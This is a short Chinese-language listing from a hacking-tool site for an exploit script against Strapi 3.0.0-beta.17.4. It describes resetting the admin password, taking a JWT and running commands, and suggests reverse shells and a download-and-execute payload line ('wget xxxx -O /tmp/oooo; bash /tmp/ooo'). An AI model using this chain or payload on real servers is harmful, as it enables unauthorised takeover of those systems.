黑客、渗透测试和网络安全工具，武装您的安全武器库！
Strapi框架，3.0.0-beta.17.4
发现我们社区最常用的工具。
探索所有工具
浏览我们的工具集合
该脚本将尝试将密码重置为"updated_pass"变量中声明的值；如果成功，它将从Strapi获取一个JWT令牌，并使用该令牌执行命令。 执行绑定命令无效，除非发送反向Shell载荷（使用bash或python等）。你可以生成一个.sh文件，该文件会为你下载nc并执行它，或者任何其他内容，甚至ELF文件。为此，请将payload_exp从&&改为)。例如：&& $(wget xxxx -O /tmp/oooo; bash /tmp/ooo) URL 不再有效。
"updated_pass"
.sh
nc
payload_exp
&&
)
&& $(wget xxxx -O /tmp/oooo; bash /tmp/ooo)
